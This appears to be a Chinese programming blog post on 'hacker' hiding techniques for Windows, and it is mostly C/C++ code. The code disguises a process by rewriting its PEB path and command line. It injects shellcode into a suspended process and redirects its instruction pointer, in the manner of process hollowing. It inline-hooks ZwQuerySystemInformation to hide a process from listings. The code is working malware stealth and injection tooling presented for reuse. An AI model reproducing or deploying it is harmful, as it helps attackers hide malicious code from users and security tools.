windows黑客编程技术之隐藏技术(进程伪装,傀儡进程,进程隐藏)

进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。
傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建“傀儡进程”。
进程隐藏:通过HOOK函数ZwQuerySystemInfomation来实现进程隐藏。

1 进程伪装

实现原理

就是修改指定进程环境块中的进程路径ImagePathName以及命令行CommandLine信息,从而达到进程伪装的效果。所以,实现的关键在于进程环境块的获取。可以用ntdll.dll的导出函数NTQueryInfomationProcess来获取指定进程的PEB地址,然后调用ReadProcessMemory和WriteProcessMemory来读写目标进程。

编码实现

关键字:NtQueryInformationProcess,Read/WriteProcessMemory,PROCESS_BASIC_INFORMATION,PEB

// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath, wchar_t *lpwszCmd)
{
	// 打开进程获取句柄
	HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}

	typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
	PROCESS_BASIC_INFORMATION pbi = { 0 };
	PEB peb = { 0 };
	RTL_USER_PROCESS_PARAMETERS Param = { 0 };
	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;
	// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
	NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
		::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
	if (NULL == NtQueryInformationProcess)
	{
		ShowError("GetProcAddress");
		return FALSE;
	}
	// 获取指定进程的基本信息
	NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
	if (!NT_SUCCESS(status))
	{
		ShowError("NtQueryInformationProcess");
		return FALSE;
	}

	/*
  	    注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作,
	    每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。
	    要不然一直提示位置访问错误!
	*/
	// 获取指定进程进本信息结构中的PebBaseAddress
	::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
	::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

	// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中
	usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);
	::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
	::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
	// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
	usPathLen = 2 + 2 * ::wcslen(lpwszPath);
	::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
	::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

	return TRUE;
}

测试

修改前
在这里插入图片描述
修改后
在这里插入图片描述

傀儡进程

实现原理

傀儡进程的创建原理就是修改某一进程的内存数据,向内存中写入Shellcode代码,并修改该进程的执行流程,使其转而执行Shellcode代码。
关键点有二:
一是写入ShellCode数据的时机,二是更改执行流程的方法。当我们CreateProcess的时候,设置状态为CREATE_SUSPENDED,这样主线程会挂起,直到通过ResumeThread来回复线程方可继续执行。在这个时候我们可以通过SetThreadContext函数修改线程上下文中的EIP数据,改变程序运行顺序。

编码实现

关键字:Get/SetThreadContext,ResumeThread

// 创建进程并替换进程内存数据, 更改执行顺序
BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT threadContext = { 0 };
	BOOL bRet = FALSE;
	::RtlZeroMemory(&si, sizeof(si));
	::RtlZeroMemory(&pi, sizeof(pi));
	::RtlZeroMemory(&threadContext, sizeof(threadContext));
	si.cb = sizeof(si);
	// 创建进程并挂起主线程
	bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	if (FALSE == bRet)
	{
		ShowError("CreateProcess");
		return FALSE;
	}
	// 读取基址的方法: 此时context中的EBX是指向PEB的指针, 而在PEB偏移是8的位置存放 PEB_LDR_DATA 的地址
	// 我们可以根据 PEB_LDR_DATA 获取进程基址以及遍历进程链获取所有进程
//	DWORD dwProcessBaseAddr = 0;
//	::ReadProcessMemory(pi.hProcess, (LPVOID)(8 + threadContext.Ebx), &dwProcessBaseAddr, sizeof(dwProcessBaseAddr), NULL);

	// 在替换的进程中申请一块内存
	LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (NULL == lpDestBaseAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	// 写入替换的数据
	bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
	if (FALSE == bRet)
	{
		ShowError("WriteProcessError");
		return FALSE;
	}
	// 获取线程上下文
	// 注意此处标志,一定要写!!!
	threadContext.ContextFlags = CONTEXT_FULL;
	bRet = ::GetThreadContext(pi.hThread, &threadContext);//64:Wow64GetThreadContext
	if (FALSE == bRet)
	{
		ShowError("GetThreadContext");
		return FALSE;
	}
	// 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
	threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
	// 设置挂起进程的线程上下文
	bRet = ::SetThreadContext(pi.hThread, &threadContext);//Wow64SetThreadContext
	if (FALSE == bRet)
	{
		ShowError("SetThreadContext");
		return FALSE;
	}
	// 恢复挂起的进程的线程
	::ResumeThread(pi.hThread);

	return TRUE;
}

测试

直接启动测试程序弹框:
在这里插入图片描述
用傀儡进程的形式启动,成功执行了shellcode代码。
在这里插入图片描述

进程隐藏

实现原理

通过HOOK WIN32API ZwQuerySystemInfomation来实现进程隐藏。遍历进程通常是通过CreateToolhelp32Snapshot等来实现的,通过逆向这些API可以发现,他们内部最终是通过调用ZwQuerySystemInfomation,所以只需要HOOKZwQuerySystemInfomation就行了。
在钩子函数中判断检索的信息是否是该进程信息,是则去掉,进而隐藏进程信息。
但是注意这个函数没导出,还是要手动去ntdll里面去获取。

INLINE HOOK技术介绍:
Inline hook的核心原理是在获取进程中指定API的地址后,修改该API函数入口地址的前几个字节数据,写入一个跳转指令,跳转到自定义的钩子函数执行。
注意区分32和64位系统,他们的指针长度是不一样的。所以32位系统需要更改函数前五字节数据,64位则是前12字节数据。

编码实现

void HookApi()
{
	// 获取 ntdll.dll 的加载基址, 若没有则返回
	HMODULE hDll = ::GetModuleHandle("ntdll.dll");
	if (NULL == hDll)
	{
		return;
	}
	// 获取 ZwQuerySystemInformation 函数地址
	typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
	if (NULL == ZwQuerySystemInformation)
	{
		return;
	}
	// 32 位下修改前 5 字节, 64 位下修改前 12 字节
#ifndef _WIN64
	// jmp New_ZwQuerySystemInformation
	// 机器码位:e9 _dwOffset(跳转偏移)
	//		addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
	//		addr2 --> 跳转地址的值,即_dwNewAddress的值
	//		跳转偏移 _dwOffset = addr2 - addr1
	BYTE pData[5] = { 0xe9, 0, 0, 0, 0};
	DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
	::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
	// 保存前 5 字节数据
	::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));
#else
	// mov rax,0x1122334455667788
	// jmp rax
	// 机器码是:
	//	48 b8 8877665544332211
	//	ff e0
	BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};
	ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
	::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));
	// 保存前 12 字节数据
	::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));
#endif
	// 设置页面的保护属性为 可读、可写、可执行
	DWORD dwOldProtect = 0;
	::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
	// 修改
	::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
	// 还原页面保护属性
	::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);

}
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值